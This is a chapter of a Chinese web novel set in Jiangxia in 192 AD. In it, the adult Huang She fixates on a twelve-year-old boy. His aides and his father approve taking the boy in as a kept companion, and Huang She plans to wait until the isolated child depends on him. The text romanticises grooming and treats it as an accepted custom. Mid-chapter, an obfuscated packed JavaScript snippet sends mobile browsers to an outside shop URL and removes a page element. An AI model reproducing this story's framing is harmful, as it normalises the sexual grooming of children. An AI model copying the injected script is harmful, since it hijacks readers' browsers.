公元192年。
冬雪尽融，江水解冻，浩荡江水翻着浅碧色的浪涛，一路向东奔涌而去。转眼又是一年开春，和风渐暖，吹得江岸柳枝抽出新芽，可江夏城内的气氛，却半点也轻松不起来。
自去年岘山一战尘埃落定，孙坚与袁术之间那层脆弱的同盟彻底撕破，江淮大地烽烟四起，大小战事接连不断。江东兵马频频在长江下游调动，矛头隐隐指向荆州地界，江夏作为荆州北面的咽喉门户，瞬间被推到了风口浪尖。
临江楼依旧照常开门迎客，只是往来歇脚的客人里，多了不少神色精明的探子、身披轻甲的军卒。满座之间，谈论的尽是前线战况、江东兵力、袁术动向，人人言语间都带着对乱世将至的不安。
邵叶依旧守在楼下账台之后，日复一日地算账、记账、核对收支。
他不过十二岁年纪，身形清瘦挺拔，还未完全长开，一身洗得干净的素色布衫，更显得眉目干净秀挺。明明只是安安静静坐在那里，眉眼间却带着几分与年龄不符的冷淡沉静，在满屋子粗豪武夫之间，格外惹眼，像一竿生在乱石堆里的嫩竹，清隽得让人移不开目光。
这等年岁、这般容貌气质，放在当世世家风气里，本就是最易惹人倾心护持的模样。东京西京的高门士族之中，素来多有喜好清雅稚龄少年相伴的风气，或作近侍，或为清娱，视作风雅，并不算出格。
这日暮色渐渐低垂，晚霞把江面染成一片暖红，楼内的客人也稀稀落落少了下去。
黄射一身轻便皮甲，刚从江边巡防归来。面容俊朗，身姿挺拔，腰间只悬了一柄短刀，步履沉稳地走进临江楼。两名亲随不远不近地跟在他身后，进门便停在门边，垂手侍立，不多看、不多言。
黄府之中，本就已有几房妾室，后院也养着两三个清秀温顺的少年，皆是寻常世家公子的标配。黄射从前也并非不近声色，只是那些人或温顺谄媚，或稚气浅薄，从未有一人，如眼前这少年一般，干净得让人心头发痒。
他径直走到临窗的老位置坐下，随手解下酒囊推到桌角，指尖轻轻搭在木桌边缘，目光自然而然落在邵叶身上，安静看了片刻。
看他垂眸拨弄算筹，看他长睫覆下浅影，看他在渐暗的天光里，清瘦得近乎易碎。
直到邵叶抬头察觉，缓步过来躬身行礼：“伯威公子。”
【宿主，黄射怎么一直来啊？】
黄射才缓缓收回目光，微微颔首，声音平和温润：“近来城中巡查渐严，楼里杂人也多，你凡事多留心，莫要无端卷入是非。”
“晚辈明白。”
“袁术与孙坚反目日久，江夏迟早不得安宁。”黄射指尖轻敲桌面，语气轻缓，“你孤身一人，年纪又轻，无亲无故在此，当真不必事事都自己硬扛。”
话说得平淡，藏着的关照却远比寻常要重。
邵叶依旧清淡垂眸：“多谢公子挂怀，晚辈自有分寸。”
这黄射人还怪好的。
黄射也不勉强，只轻轻点头，让他自去忙碌。他独自坐在窗前，望着江水沉默小半个时辰，才起身整理衣摆，迈步离去。
两名亲随立刻跟上，三人沿着僻静街巷缓步而行，远离街口后，亲随才压低声音凑近。
“公子，那孙小先生才只十二，模样气度万里挑一，性子又沉静剔透，不沾半分市井俗气。如今天下风气本就如此，这般清雅人物，实在难得。”
另一人也低声附和：“公子府中虽已有侍人，可那些皆寻常之辈。这位小先生不一样，公子只需多予照拂，许他一处安稳，不必张扬，便是日后有了正室，也不妨碍护他周全。”
黄射闻言，面上依旧平静，只是唇角极轻、极淡地扬了一瞬。
婚约是家族责任，妾室侍童是寻常消遣，倒是这个孙小先生，让人欢喜的很。
不必逼，不必争。这风雨飘摇的江夏城，那少年无枝可依，总有一天会明白，能给他安稳的只有自己。
暮色彻底沉下，街灯次第亮起。
黄射
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17403916|200355||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
回到太守府时，府中厨下已经备好晚膳。厅堂之内灯火通明，黄祖已经端坐主位，等着他一同用饭。
父子二人相对而坐，下人布菜添汤，动作轻缓，不敢出声。
席间先聊了几句江防守备、哨探布置，气氛还算平和。
黄祖放下竹筷，端起茶水抿了一口，目光落在黄射身上，语气沉定：
“你与襄阳蒯氏那门亲事，为父已经同蒯氏族长彻底敲定了。蒯家是荆州数一数二的望族，与蔡氏同心共济，共掌荆州实权。你娶了蒯家女，黄家在荆州便根基稳固，再无后顾之忧。婚期定在秋收之后，这段时间你收敛心性，莫要出半点差错。”
黄射指尖微顿，平静应声：“儿子知道了。”
于他而言，这不过是一场稳固权势的联姻，心底真正记挂的，依旧是临江楼那个安静的身影。
黄祖看他神色平淡，话锋忽然一转，语气淡了几分：
“还有……临江楼那个算账的少年，姓孙的那个。为父让人彻查过了，无根无萍，无亲无故，籍贯来历一片空白，什么都没查出来。”
黄射抬眸，神色微敛，静候下文。
黄祖瞥他一眼，语气带着世家的通透与直白：
“你近来频频往那边去，为父都看在眼里。世家门第喜好清雅少年本是常事，不算逾矩。你若真喜欢，便干脆把人接进府里，收在房内，省得在外抛头露面，徒惹是非。”
他顿了顿，声音沉下，带上几分严厉警告：
“但你给我记死了——战事将近，蒯家联姻大事当前，绝不能因他节外生枝，更不能让蒯家抓到半句闲话。
安安静收留着，不声张，不惹事，便一切好说。若是耽误了婚事，坏了家族大计，为父绝不会轻饶。”
黄射垂眸，掩去眸底一闪而过的笃定，缓缓应道：
“儿子明白，绝不会误了大事。”
父亲既已松口，那这清瘦干净的少年，他便可以名正言顺，护在身边，再无人能置喙。